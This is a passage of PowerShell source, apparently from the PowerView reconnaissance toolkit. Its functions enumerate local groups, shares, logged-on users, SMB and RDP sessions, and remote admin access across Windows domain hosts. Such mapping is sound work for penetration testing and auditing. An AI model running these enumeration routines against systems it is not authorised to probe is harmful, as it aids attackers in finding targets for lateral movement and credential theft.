$SidString\n\n                            $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')\n                            $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup\n                            $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')\n\n                            $LocalUsers += $LocalUser\n                        }\n                    }\n\n                    # free up the result buffer\n                    $Null = $Netapi32::NetApiBufferFree($PtrInfo)\n\n                    # try to extract out the machine SID by using the -500 account as a reference\n                    $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}\n                    $Parts = $MachineSid.SID.Split('-')\n                    $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'\n\n                    $LocalUsers | ForEach-Object {\n                        if($_.SID -match $MachineSid) {\n                            $_ | Add-Member Noteproperty 'IsDomain' $False\n                        }\n                        else {\n                            $_ | Add-Member Noteproperty 'IsDomain' $True\n                        }\n                    }\n                    $LocalUsers\n                }\n                else {\n                    Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $Result).Message)\"\n                }\n            }\n\n            else {\n                # otherwise we're using the WinNT service provider\n                try {\n                    if($ListGroups) {\n                        # if we're listing the group names on a remote server\n                        $Computer = [ADSI]\"WinNT://$Server,computer\"\n\n                        $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {\n                            $Group = New-Object PSObject\n                            $Group | Add-Member Noteproperty 'Server' $Server\n                            $Group | Add-Member Noteproperty 'Group' ($_.name[0])\n                            $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)\n                            $Group | Add-Member Noteproperty 'Description' ($_.Description[0])\n                            $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')\n                            $Group\n                        }\n                    }\n                    else {\n                        # otherwise we're listing the group members\n                        $Members = @($([ADSI]\"WinNT://$Server/$GroupName,group\").psbase.Invoke('Members'))\n\n                        $Members | ForEach-Object {\n\n                            $Member = New-Object PSObject\n                            $Member | Add-Member Noteproperty 'ComputerName' $Server\n\n                            $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')\n                            $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)\n\n                            # try to translate the NT4 domain to a FQDN if possible\n                            $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'\n                            $IsGroup = $Class -eq \"Group\"\n\n                            if($Name) {\n                                $FQDN = $Name.split(\"/\")[0]\n                                $ObjName = $AdsPath.split(\"/\")[-1]\n                                $Name = \"$FQDN/$ObjName\"\n                                $IsDomain = $True\n                            }\n                            else {\n                                $ObjName = $AdsPath.split(\"/\")[-1]\n                                $Name = $AdsPath\n                                $IsDomain = $False\n                            }\n\n                            $Member | Add-Member Noteproperty 'AccountName' $Name\n                            $Member | Add-Member Noteproperty 'IsDomain' $IsDomain\n                            $Member | Add-Member Noteproperty 'IsGroup' $IsGroup\n\n                            if($IsDomain) {\n                                # translate the binary sid to a string\n                                $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)\n                                $Member | Add-Member Noteproperty 'Description' \"\"\n                                $Member | Add-Member Noteproperty 'Disabled' \"\"\n\n                                if($IsGroup) {\n                                    $Member | Add-Member Noteproperty 'LastLogin' \"\"\n                                }\n                                else {\n                                    try {\n                                        $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))\n                                    }\n                                    catch {\n                                        $Member | Add-Member Noteproperty 'LastLogin' \"\"\n                                    }\n                                }\n                                $Member | Add-Member Noteproperty 'PwdLastSet' \"\"\n                                $Member | Add-Member Noteproperty 'PwdExpired' \"\"\n                                $Member | Add-Member Noteproperty 'UserFlags' \"\"\n                            }\n                            else {\n                                # repull this user object so we can ensure correct information\n                                $LocalUser = $([ADSI] \"WinNT://$AdsPath\")\n\n                                # translate the binary sid to a string\n                                $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)\n                                $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])\n\n                                if($IsGroup) {\n                                    $Member | Add-Member Noteproperty 'PwdLastSet' \"\"\n                                    $Member | Add-Member Noteproperty 'PwdExpired' \"\"\n                                    $Member | Add-Member Noteproperty 'UserFlags' \"\"\n                                    $Member | Add-Member Noteproperty 'Disabled' \"\"\n                                    $Member | Add-Member Noteproperty 'LastLogin' \"\"\n                                }\n                                else {\n                                    $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))\n                                    $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')\n                                    $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )\n                                    # UAC flags of 0x2 mean the account is disabled\n                                    $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)\n                                    try {\n                                        $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])\n                                    }\n                                    catch {\n                                        $Member | Add-Member Noteproperty 'LastLogin' \"\"\n                                    }\n                                }\n                            }\n                            $Member.PSObject.TypeNames.Add('PowerView.LocalUser')\n                            $Member\n\n                            # if the result is a group domain object and we're recursing,\n                            #   try to resolve all the group member results\n                            if($Recurse -and $IsGroup) {\n                                if($IsDomain) {\n                                  $FQDN = $Name.split(\"/\")[0]\n                                  $GroupName = $Name.split(\"/\")[1].trim()\n\n                                  Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {\n\n                                      $Member = New-Object PSObject\n                                      $Member | Add-Member Noteproperty 'ComputerName' \"$FQDN/$($_.GroupName)\"\n\n                                      $MemberDN = $_.distinguishedName\n                                      # extract the FQDN from the Distinguished Name\n                                      $MemberDomain = $MemberDN.subString($MemberDN.IndexOf(\"DC=\")) -replace 'DC=','' -replace ',','.'\n\n                                      $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype\n\n                                      if ($_.samAccountName) {\n                                          # forest users have the samAccountName set\n                                          $MemberName = $_.samAccountName\n                                      }\n                                      else {\n                                          try {\n                                              # external trust users have a SID, so convert it\n                                              try {\n                                                  $MemberName = Convert-SidToName $_.cn\n                                              }\n                                              catch {\n                                                  # if there's a problem contacting the domain to resolve the SID\n                                                  $MemberName = $_.cn\n                                              }\n                                          }\n                                          catch {\n                                              Write-Debug \"Error resolving SID : $_\"\n                                          }\n                                      }\n\n                                      $Member | Add-Member Noteproperty 'AccountName' \"$MemberDomain/$MemberName\"\n                                      $Member | Add-Member Noteproperty 'SID' $_.objectsid\n                                      $Member | Add-Member Noteproperty 'Description' $_.description\n                                      $Member | Add-Member Noteproperty 'Disabled' $False\n                                      $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup\n                                      $Member | Add-Member Noteproperty 'IsDomain' $True\n                                      $Member | Add-Member Noteproperty 'LastLogin' ''\n                                      $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet\n                                      $Member | Add-Member Noteproperty 'PwdExpired' ''\n                                      $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl\n                                      $Member.PSObject.TypeNames.Add('PowerView.LocalUser')\n                                      $Member\n                                  }\n                              } else {\n                                Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse\n                              }\n                            }\n                        }\n                    }\n                }\n                catch {\n                    Write-Warning \"[!] Error: $_\"\n                }\n            }\n        }\n    }\n}\n\nfilter Get-NetShare {\n<#\n    .SYNOPSIS\n\n        This function will execute the NetShareEnum Win32API call to query\n        a given host for open shares. This is a replacement for\n        \"net share \\\\hostname\"\n\n    .PARAMETER ComputerName\n\n        The hostname to query for shares. Also accepts IP addresses.\n\n    .OUTPUTS\n\n        SHARE_INFO_1 structure. A representation of the SHARE_INFO_1\n        result structure which includes the name and note for each share,\n        with the ComputerName added.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetShare\n\n        Returns active shares on the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetShare -ComputerName sqlserver\n\n        Returns active shares on the 'sqlserver' host\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer | Get-NetShare\n\n        Returns all shares for all computers in the domain.\n\n    .LINK\n\n        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost'\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # arguments for NetShareEnum\n    $QueryLevel = 1\n    $PtrInfo = [IntPtr]::Zero\n    $EntriesRead = 0\n    $TotalRead = 0\n    $ResumeHandle = 0\n\n    # get the share information\n    $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)\n\n    # Locate the offset of the initial intPtr\n    $Offset = $PtrInfo.ToInt64()\n\n    # 0 = success\n    if (($Result -eq 0) -and ($Offset -gt 0)) {\n\n        # Work out how much to increment the pointer by finding out the size of the structure\n        $Increment = $SHARE_INFO_1::GetSize()\n\n        # parse all the result structures\n        for ($i = 0; ($i -lt $EntriesRead); $i++) {\n            # create a new int ptr at the given offset and cast the pointer as our result structure\n            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset\n            $Info = $NewIntPtr -as $SHARE_INFO_1\n\n            # return all the sections of the structure\n            $Shares = $Info | Select-Object *\n            $Shares | Add-Member Noteproperty 'ComputerName' $Computer\n            $Offset = $NewIntPtr.ToInt64()\n            $Offset += $Increment\n            $Shares\n        }\n\n        # free up the result buffer\n        $Null = $Netapi32::NetApiBufferFree($PtrInfo)\n    }\n    else {\n        Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $Result).Message)\"\n    }\n}\n\n\nfilter Get-NetLoggedon {\n<#\n    .SYNOPSIS\n\n        This function will execute the NetWkstaUserEnum Win32API call to query\n        a given host for actively logged on users.\n\n    .PARAMETER ComputerName\n\n        The hostname to query for logged on users.\n\n    .OUTPUTS\n\n        WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1\n        result structure which includes the username and domain of logged on users,\n        with the ComputerName added.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetLoggedon\n\n        Returns users actively logged onto the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetLoggedon -ComputerName sqlserver\n\n        Returns users actively logged onto the 'sqlserver' host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer | Get-NetLoggedon\n\n        Returns all logged on userse for all computers in the domain.\n\n    .LINK\n\n        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost'\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # Declare the reference variables\n    $QueryLevel = 1\n    $PtrInfo = [IntPtr]::Zero\n    $EntriesRead = 0\n    $TotalRead = 0\n    $ResumeHandle = 0\n\n    # get logged on user information\n    $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)\n\n    # Locate the offset of the initial intPtr\n    $Offset = $PtrInfo.ToInt64()\n\n    # 0 = success\n    if (($Result -eq 0) -and ($Offset -gt 0)) {\n\n        # Work out how much to increment the pointer by finding out the size of the structure\n        $Increment = $WKSTA_USER_INFO_1::GetSize()\n\n        # parse all the result structures\n        for ($i = 0; ($i -lt $EntriesRead); $i++) {\n            # create a new int ptr at the given offset and cast the pointer as our result structure\n            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset\n            $Info = $NewIntPtr -as $WKSTA_USER_INFO_1\n\n            # return all the sections of the structure\n            $LoggedOn = $Info | Select-Object *\n            $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer\n            $Offset = $NewIntPtr.ToInt64()\n            $Offset += $Increment\n            $LoggedOn\n        }\n\n        # free up the result buffer\n        $Null = $Netapi32::NetApiBufferFree($PtrInfo)\n    }\n    else {\n        Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $Result).Message)\"\n    }\n}\n\n\nfilter Get-NetSession {\n<#\n    .SYNOPSIS\n\n        This function will execute the NetSessionEnum Win32API call to query\n        a given host for active sessions on the host.\n        Heavily adapted from dunedinite's post on stackoverflow (see LINK below)\n\n    .PARAMETER ComputerName\n\n        The ComputerName to query for active sessions.\n\n    .PARAMETER UserName\n\n        The user name to filter for active sessions.\n\n    .OUTPUTS\n\n        SESSION_INFO_10 structure. A representation of the SESSION_INFO_10\n        result structure which includes the host and username associated\n        with active sessions, with the ComputerName added.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetSession\n\n        Returns active sessions on the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetSession -ComputerName sqlserver\n\n        Returns active sessions on the 'sqlserver' host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainController | Get-NetSession\n\n        Returns active sessions on all domain controllers.\n\n    .LINK\n\n        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost',\n\n        [String]\n        $UserName = ''\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # arguments for NetSessionEnum\n    $QueryLevel = 10\n    $PtrInfo = [IntPtr]::Zero\n    $EntriesRead = 0\n    $TotalRead = 0\n    $ResumeHandle = 0\n\n    # get session information\n    $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)\n\n    # Locate the offset of the initial intPtr\n    $Offset = $PtrInfo.ToInt64()\n\n    # 0 = success\n    if (($Result -eq 0) -and ($Offset -gt 0)) {\n\n        # Work out how much to increment the pointer by finding out the size of the structure\n        $Increment = $SESSION_INFO_10::GetSize()\n\n        # parse all the result structures\n        for ($i = 0; ($i -lt $EntriesRead); $i++) {\n            # create a new int ptr at the given offset and cast the pointer as our result structure\n            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset\n            $Info = $NewIntPtr -as $SESSION_INFO_10\n\n            # return all the sections of the structure\n            $Sessions = $Info | Select-Object *\n            $Sessions | Add-Member Noteproperty 'ComputerName' $Computer\n            $Offset = $NewIntPtr.ToInt64()\n            $Offset += $Increment\n            $Sessions\n        }\n        # free up the result buffer\n        $Null = $Netapi32::NetApiBufferFree($PtrInfo)\n    }\n    else {\n        Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $Result).Message)\"\n    }\n}\n\n\nfilter Get-LoggedOnLocal {\n<#\n    .SYNOPSIS\n\n        This function will query the HKU registry values to retrieve the local\n        logged on users SID and then attempt and reverse it.\n        Adapted technique from Sysinternal's PSLoggedOn script. Benefit over\n        using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges\n        required (NetWkstaUserEnum requires remote admin access).\n\n        Note: This function requires only domain user rights on the\n        machine you're enumerating, but remote registry must be enabled.\n\n        Function: Get-LoggedOnLocal\n        Author: Matt Kelly, @BreakersAll\n\n    .PARAMETER ComputerName\n\n        The ComputerName to query for active sessions.\n\n    .EXAMPLE\n\n        PS C:\\> Get-LoggedOnLocal\n\n        Returns active sessions on the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-LoggedOnLocal -ComputerName sqlserver\n\n        Returns active sessions on the 'sqlserver' host.\n\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost'\n    )\n\n    # process multiple host object types from the pipeline\n    $ComputerName = Get-NameField -Object $ComputerName\n\n    try {\n        # retrieve HKU remote registry values\n        $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', \"$ComputerName\")\n\n        # sort out bogus sid's like _class\n        $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {\n            $UserName = Convert-SidToName $_\n\n            $Parts = $UserName.Split('\\')\n            $UserDomain = $Null\n            $UserName = $Parts[-1]\n            if ($Parts.Length -eq 2) {\n                $UserDomain = $Parts[0]\n            }\n\n            $LocalLoggedOnUser = New-Object PSObject\n            $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' \"$ComputerName\"\n            $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain\n            $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName\n            $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_\n            $LocalLoggedOnUser\n        }\n    }\n    catch {\n        Write-Verbose \"Error opening remote registry on '$ComputerName'\"\n    }\n}\n\n\nfilter Get-NetRDPSession {\n<#\n    .SYNOPSIS\n\n        This function will execute the WTSEnumerateSessionsEx and \n        WTSQuerySessionInformation Win32API calls to query a given\n        RDP remote service for active sessions and originating IPs.\n        This is a replacement for qwinsta.\n\n        Note: only members of the Administrators or Account Operators local group\n        can successfully execute this functionality on a remote target.\n\n    .PARAMETER ComputerName\n\n        The hostname to query for active RDP sessions.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetRDPSession\n\n        Returns active RDP/terminal sessions on the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetRDPSession -ComputerName \"sqlserver\"\n\n        Returns active RDP/terminal sessions on the 'sqlserver' host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainController | Get-NetRDPSession\n\n        Returns active RDP/terminal sessions on all domain controllers.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost'\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # open up a handle to the Remote Desktop Session host\n    $Handle = $Wtsapi32::WTSOpenServerEx($Computer)\n\n    # if we get a non-zero handle back, everything was successful\n    if ($Handle -ne 0) {\n\n        # arguments for WTSEnumerateSessionsEx\n        $ppSessionInfo = [IntPtr]::Zero\n        $pCount = 0\n        \n        # get information on all current sessions\n        $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n        # Locate the offset of the initial intPtr\n        $Offset = $ppSessionInfo.ToInt64()\n\n        if (($Result -ne 0) -and ($Offset -gt 0)) {\n\n            # Work out how much to increment the pointer by finding out the size of the structure\n            $Increment = $WTS_SESSION_INFO_1::GetSize()\n\n            # parse all the result structures\n            for ($i = 0; ($i -lt $pCount); $i++) {\n \n                # create a new int ptr at the given offset and cast the pointer as our result structure\n                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset\n                $Info = $NewIntPtr -as $WTS_SESSION_INFO_1\n\n                $RDPSession = New-Object PSObject\n\n                if ($Info.pHostName) {\n                    $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName\n                }\n                else {\n                    # if no hostname returned, use the specified hostname\n                    $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer\n                }\n\n                $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName\n\n                if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {\n                    # if a domain isn't returned just use the username\n                    $RDPSession | Add-Member Noteproperty 'UserName' \"$($Info.pUserName)\"\n                }\n                else {\n                    $RDPSession | Add-Member Noteproperty 'UserName' \"$($Info.pDomainName)\\$($Info.pUserName)\"\n                }\n\n                $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID\n                $RDPSession | Add-Member Noteproperty 'State' $Info.State\n\n                $ppBuffer = [IntPtr]::Zero\n                $pBytesReturned = 0\n\n                # query for the source client IP with WTSQuerySessionInformation\n                #   https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx\n                $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n                if($Result -eq 0) {\n                    Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $LastError2).Message)\"\n                }\n                else {\n                    $Offset2 = $ppBuffer.ToInt64()\n                    $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2\n                    $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS\n\n                    $SourceIP = $Info2.Address       \n                    if($SourceIP[2] -ne 0) {\n                        $SourceIP = [String]$SourceIP[2]+\".\"+[String]$SourceIP[3]+\".\"+[String]$SourceIP[4]+\".\"+[String]$SourceIP[5]\n                    }\n                    else {\n                        $SourceIP = $Null\n                    }\n\n                    $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP\n                    $RDPSession\n\n                    # free up the memory buffer\n                    $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)\n\n                    $Offset += $Increment\n                }\n            }\n            # free up the memory result buffer\n            $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)\n        }\n        else {\n            Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $LastError).Message)\"\n        }\n        # Close off the service handle\n        $Null = $Wtsapi32::WTSCloseServer($Handle)\n    }\n    else {\n        Write-Verbose \"Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName\"\n    }\n}\n\n\nfilter Invoke-CheckLocalAdminAccess {\n<#\n    .SYNOPSIS\n\n        This function will use the OpenSCManagerW Win32API call to establish\n        a handle to the remote host. If this succeeds, the current user context\n        has local administrator acess to the target.\n\n        Idea stolen from the local_admin_search_enum post module in Metasploit written by:\n            'Brandon McCann \"zeknox\" <bmccann[at]accuvant.com>'\n            'Thomas McCarthy \"smilingraccoon\" <smilingraccoon[at]gmail.com>'\n            'Royce Davis \"r3dy\" <rdavis[at]accuvant.com>'\n\n    .PARAMETER ComputerName\n\n        The hostname to query for active sessions.\n\n    .OUTPUTS\n\n        $True if the current user has local admin access to the hostname, $False otherwise\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver\n\n        Returns active sessions on the local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer | Invoke-CheckLocalAdminAccess\n\n        Sees what machines in the domain the current user has access to.\n\n    .LINK\n\n        https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb\n        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost'\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # 0xF003F - SC_MANAGER_ALL_ACCESS\n    #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx\n    $Handle = $Advapi32::OpenSCManagerW(\"\\\\$Computer\", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n    Write-Verbose \"Invoke-CheckLocalAdminAccess handle: $Handle\"\n\n    $IsAdmin = New-Object PSObject\n    $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer\n\n    # if we get a non-zero handle back, everything was successful\n    if ($Handle -ne 0) {\n        $Null = $Advapi32::CloseServiceHandle($Handle)\n        $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True\n    }\n    else {\n        Write-Verbose \"Error: $(([ComponentModel.Win32Exception] $LastError).Message)\"\n        $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False\n    }\n\n    $IsAdmin\n}\n\n\nfilter Get-SiteName {\n<#\n    .SYNOPSIS\n\n        This function will use the DsGetSiteName Win32API call to look up the\n        name of the site where a specified computer resides.\n\n    .PARAMETER ComputerName\n\n        The hostname to look the site up for, default to localhost.\n\n    .EXAMPLE\n\n        PS C:\\> Get-SiteName -ComputerName WINDOWS1\n\n        Returns the site for WINDOWS1.testlab.local.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer | Get-SiteName\n\n        Returns the sites for every machine in AD.\n#>\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = $Env:ComputerName\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # if we get an IP address, try to resolve the IP to a hostname\n    if($Computer -match '^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$') {\n        $IPAddress = $Computer\n        $Computer = [System.Net.Dns]::GetHostByAddress($Computer)\n    }\n    else {\n        $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress\n    }\n\n    $PtrInfo = [IntPtr]::Zero\n\n    $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)\n\n    $ComputerSite = New-Object PSObject\n    $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer\n    $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress\n\n    if ($Result -eq 0) {\n        $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)\n        $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename\n    }\n    else {\n        $ErrorMessage = \"Error: $(([ComponentModel.Win32Exception] $Result).Message)\"\n        $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage\n    }\n\n    $Null = $Netapi32::NetApiBufferFree($PtrInfo)\n\n    $ComputerSite\n}\n\n\nfilter Get-LastLoggedOn {\n<#\n    .SYNOPSIS\n\n        This function uses remote registry functionality to return\n        the last user logged onto a target machine.\n\n        Note: This function requires administrative rights on the\n        machine you're enumerating.\n\n    .PARAMETER ComputerName\n\n        The hostname to query for the last logged on user.\n        Defaults to the localhost.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object for the remote connection.\n\n    .EXAMPLE\n\n        PS C:\\> Get-LastLoggedOn\n\n        Returns the last user logged onto the local machine.\n\n    .EXAMPLE\n        \n        PS C:\\> Get-LastLoggedOn -ComputerName WINDOWS1\n\n        Returns the last user logged onto WINDOWS1\n\n    .EXAMPLE\n        \n        PS C:\\> Get-NetComputer | Get-LastLoggedOn\n\n        Returns the last user logged onto all machines in the domain.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost',\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # HKEY_LOCAL_MACHINE\n    $HKLM = 2147483650\n\n    # try to open up the remote registry key to grab the last logged on user\n    try {\n\n        if($Credential) {\n            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue\n        }\n        else {\n            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\\default -Computername $Computer -ErrorAction SilentlyContinue\n        }\n\n        $Key = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI\"\n        $Value = \"LastLoggedOnUser\"\n        $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue\n\n        $LastLoggedOn = New-Object PSObject\n        $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer\n        $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser\n        $LastLoggedOn\n    }\n    catch {\n        Write-Warning \"[!] Error opening remote registry on $Computer. Remote registry likely not enabled.\"\n    }\n}\n\n\nfilter Get-CachedRDPConnection {\n<#\n    .SYNOPSIS\n\n        Uses remote registry functionality to query all entries for the\n        \"Windows Remote Desktop Connection Client\" on a machine, separated by\n        user and target server.\n\n        Note: This function requires administrative rights on the\n        machine you're enumerating.\n\n    .PARAMETER ComputerName\n\n        The hostname to query for RDP client information.\n        Defaults to localhost.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object for the remote connection.\n\n    .EXAMPLE\n\n        PS C:\\> Get-CachedRDPConnection\n\n        Returns the RDP connection client information for the local machine.\n\n    .EXAMPLE\n\n        PS C:\\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local\n\n        Returns the RDP connection client information for the WINDOWS2.testlab.local machine\n\n    .EXAMPLE\n\n        PS C:\\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred\n\n        Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.\n\n    .EXAMPLE\n\n        PS C:\\> 